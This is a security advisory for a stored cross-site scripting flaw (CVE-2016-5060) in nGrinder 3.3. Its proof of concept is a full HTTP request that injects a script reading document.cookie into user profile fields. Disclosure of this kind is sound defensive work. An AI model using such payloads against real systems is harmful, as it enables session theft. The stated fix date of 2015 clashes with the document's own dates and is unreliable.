Title: CVE-2016-5060 Stored Cross-Site Scripting vulnerability in nGrinder 
Author: lukasz.juszczyk at ingservicespolska.pl
Date: 25.03.2016

Affected software :
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nGrinder v3.3
http://naver.github.io/ngrinder/

Description :
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nGrinder is a platform for stress tests that enables you to execute script creation, test execution, monitoring, and result report generator simultaneously. The open-source nGrinder offers easy ways to conduct stress tests by eliminating inconveniences and providing integrated environments.

Proof of Concept
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Vulnerable parameters: description, email, username

Request:
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POST /user/save HTTP/1.1
Host: 127.0.0.1:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8080/home
Cookie: ngrinder_lang=en; announcement_hide=true; JSESSIONID=1q0594qovhyj51ejxrqdkjmycp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 178

userId=test1&id=80&userName=test1&email=&description=Stored+XSS%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&mobilePhone=&followersStr=&password=p4$$w0rd&confirmPassword=
--------------------------------------------------------------------------------

Fix
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Upgrade to nGrinder 3.4 released on 24.05.2015.

References
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https://github.com/naver/ngrinder/releases/tag/ngrinder-3.4-20160525
https://github.com/naver/ngrinder/issues/103
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5060